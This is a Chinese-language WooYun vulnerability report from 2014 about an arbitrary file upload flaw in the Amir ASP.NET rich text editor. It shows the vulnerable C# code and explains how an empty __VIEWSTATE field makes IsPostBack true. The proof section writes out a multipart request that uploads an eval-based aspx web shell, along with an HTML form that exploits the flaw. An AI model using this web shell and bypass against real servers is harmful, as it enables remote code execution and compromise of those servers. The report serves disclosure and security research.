当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079446

漏洞标题:某富文本编辑器文件上传漏洞(小论如何控制IsPostBack的值)

相关厂商:Amir富文本编辑器

漏洞作者: wefgod

提交时间:2014-10-15 11:39

修复时间:2015-01-13 11:40

公开时间:2015-01-13 11:40

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-15: 细节已通知厂商并且等待厂商处理中
2014-10-20: 厂商已经确认,细节仅向厂商公开
2014-10-23: 细节向第三方安全合作伙伴开放
2014-12-14: 细节向核心白帽子及相关领域专家公开
2014-12-24: 细节向普通白帽子公开
2015-01-03: 细节向实习白帽子公开
2015-01-13: 细节向公众公开

简要描述:

Amir富文本编辑器,其实就一个很小的货。从这货上看看如何控制.NET的IsPostBack的值。大牛就绕道吧我就是打酱油的

详细说明:

image001.png


漏洞证明:

在这个文本编辑器上没有找到任何按钮是可以直接上传文件的(只有插入文件上传按钮,没啥用),但是代码里面是隐藏有这样一个功能的:

protected override void RenderContents(HtmlTextWriter output)
{
if (this.Page.IsPostBack) //判断是否第一次访问,这个是小的关键点
{
//if there is an uploaded file
HttpFileCollection UploadFile =this.Page.Request.Files;
for (int i = 0; i < UploadFile.Count; i++)
{
HttpPostedFile file = UploadFile[i];
string FileName = Path.GetFileName(file.FileName);
string StrPath = this.Page.MapPath("~/Uploads/");
try
{
file.SaveAs(Path.Combine(StrPath, FileName));
}
catch (DirectoryNotFoundException DirectoryNullException)
{
output.Write(DirectoryNullException.Message);
}
}
}
Page.ClientScript.GetPostBackEventReference(this.Page, string.Empty);
HtmlSourceInitializer.InitializeHtmlSource(this.Page);
output.Write(HtmlSourceInitializer.RichTextHtmlSource.ToString());
}


RenderContents是绘制自定义控件时会自动调用的一个方法,这个编辑器直接把他重写了。
里面对于文件上传的判断,主要是由this.Page.IsPostBack来控制的,IsPostBack意思简述就是“是否是第一次访问该页面”。
更多请看:
http://msdn.microsoft.com/zh-cn/library/system.web.ui.page.ispostback.aspx
所以,对于IsPostBack的值的控制,是是否可以成功上传文件的关键。
所以我们先考虑下,有没有比较万全的方法,可以使得IsPostBack的值可以为true(为true我们就可以上传文件了啊)
先搞一个文件上传的html试试:
<html>
<form action="http://1/Default.aspx" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="submit" value="Submit" />
</form>
</html>

image002.png


上传了,文件夹里面并没有生成文件:

image003.png


所以很肯定的一点,就是直接用这个方法上传文件,ispostback是肯定不会有true的!
再用自带的demo,里面有一个get data的按钮,直接点击

image005.png


我们会看到自动提交了很多数据,在里面插入一段文件的代码:

Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
<%@ Page Language="Jscript"%>
<%eval(Request.Item["w"],"unsafe");%>ai


先去掉其它东西,留下viewstate和这段file代码

------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMjEyNTk0Njc3Ng9kFgRmDxYCHglpbm5lcmh0bWwFqAQ8dGl0bGU+S3VsZWguY29tPC90aXRsZT48bGluayByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJyBocmVmPScvV2ViUmVzb3VyY2UuYXhkP2Q9VE54b2cyVGt0YzA1aFdidHg3OXpBOG5UbWEyWEhUSmxrNkozSV9OUWhmVjRpeVNIcnhvRHJNSXVjSEFlTl9fd25Fb3cyMGM0VGQwWmhIeWtJcDd2S2cyJnQ9NjM0OTcxMjg4NjU2MDgyOTcwJyAvPjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnIGhyZWY9Jy9XZWJSZXNvdXJjZS5heGQ/ZD1UTnhvZzJUa3RjMDVoV2J0eDc5ekE4blRtYTJYSFRKbGs2SjNJX05RaGZWaVlLUGtBdUJJQUVteFFKU1ozejZwM0VvdVExZThWU3o2anJIODEtLU1YZzImdD02MzQ5NzEyODg2NTYwODI5NzAnIC8+PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nL1dlYlJlc291cmNlLmF4ZD9kPVROeG9nMlRrdGMwNWhXYnR4Nzl6QThuVG1hMlhIVEpsazZKM0lfTlFoZlhpYnhrVk12RTB1WndQVi1NZmg5Ui1seWt1aHVfczFGQ0tDNGRmbk12cGl3MiZ0PTYzNDk3MTI4ODY1NjA4Mjk3MCcgLz5kAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZH1GEi58juKz50rMm0Z+FcD3dEUs
------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
<%@ Page Language="Jscript"%>
<%eval(Request.Item["w"],"unsafe");%>ai
------WebKitFormBoundaryI4bps9FYvWWWngDb—


image006.png


此时测试是可以成功上传文件的:

image007.png


先解开viewstate看看,看是否存在某一个值比如ispostback=true?

image008.png


仔细对照了下,没有发现任何的地方是有ispostback=true的。
再清空viewstate,让viewstate=null

image010.png


一样成功上传了文件

image011.png


所以按这个情况来分析,ispostback=true的一个条件是存在viewstate这个参数!只要viewstate是正确的或者为空值,都可以成立(千万不能乱伪造,接不开viewstate会导致系统报错,会500)。
综上,当遇到需要控制ispostback的值为true的时候,只要存在一个可控不会报错的viewstate值,服务器就会自动判断你不是第一次访问该页面,可以直接用类似下面的html代码解决问题:

<html>
<form action="http://1.1.1.1/Default.aspx" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="file" size="23" id="file" />
<input type="hidden" name="__VIEWSTATE" value="" />
<input type="submit" value="Submit" />
</form>
</html>


image012.png


小漏洞里面也可以研究出一些小知识,希望大家受益。这个点可能还可以用在很多其它系统上,说不定会有很给力的效果(比如一些绕过)。

修复方案:

大牛们懂

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-10-20 08:21

厂商回复:

cnvd确认所述分析和测试结果,暂未建立与软件开发者的直接联系渠道,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-20 08:56 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    围观

  2. 2014-11-10 17:34 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    我注册了个小号来看大哥发通用漏洞

  3. 2014-11-11 16:07 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @sco4x0 啥情况

  4. 2015-01-13 13:19 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    不错,挺赞的。

  5. 2015-01-13 14:47 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    大哥不愧是.net牛,学习了

  6. 2015-01-21 16:27 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @sco4x0 @梧桐雨 打酱油的。

  7. 2015-01-24 15:51 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    IsPostBack都可控了,吊啊